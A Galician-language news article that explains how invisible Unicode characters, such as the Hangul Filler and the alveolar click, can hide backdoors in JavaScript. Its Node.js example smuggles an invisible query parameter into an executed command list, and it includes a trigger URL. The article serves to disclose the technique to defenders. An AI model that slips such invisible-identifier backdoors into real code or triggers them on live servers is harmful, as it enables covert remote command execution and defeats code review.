Usando caracteres Unicode invisibles para ocultar accións no código JavaScript

Seguindo o método de ataque Trojan Source, que se basea no uso de caracteres Unicode que cambian a orde de visualización do texto bidireccional, publicouse outra técnica para introducir accións ocultas, aplicable ao código JavaScript. O novo método baséase no uso do carácter unicode "ㅤ" (código 0x3164, "HANGUL FILLER"), que pertence á categoría de letras, pero non ten contido visible. A categoría Unicode á que pertence este carácter está permitida desde a especificación ECMAScript 2015 para o seu uso en nomes de variables JavaScript, o que permite crear variables invisibles ou novas variables que non se poden distinguir doutras variables en editores de código populares como Notepad++ e VS Code.

A modo de exemplo, dáse o código para a plataforma Node.js, no que, mediante unha variable formada por un só carácter “ㅤ”, escóndese unha porta traseira que permite executar o código especificado polo atacante: app.get('/ network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // de feito di "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // a coma vai seguida do carácter \u3164 ];

A primeira vista, só se pasa o valor de tempo de espera a través do parámetro externo e a matriz cos comandos a executar contén unha lista fixa inofensiva. Pero de feito, despois da variable de tempo de espera, asígnase o valor doutra variable invisible co código de carácter \u3164, que tamén se substitúe na matriz de comandos executables. Así, se este deseño está dispoñible, un atacante pode enviar unha solicitude como "https://host:8080/network_health?%E3%85%A4=command" para activar a porta traseira e executar o seu código.

Outro exemplo é o carácter "ǃ" (CLICK ALVEOLAR), que se pode usar para dar a aparencia de indicar un signo de admiración. Por exemplo, a expresión “if(environmentǃ=ENV_PROD){” cando se executa en Node.js 14 sempre será verdadeira, xa que non verifica a diferenza, senón que asigna o valor de ENV_PROD á variable “environmentǃ”. Outros caracteres Unicode enganosos inclúen "/", "−", "+", "⩵", "❨", "⫽", "꓿" e "∗".

Fonte: opennet.ru

Engadir un comentario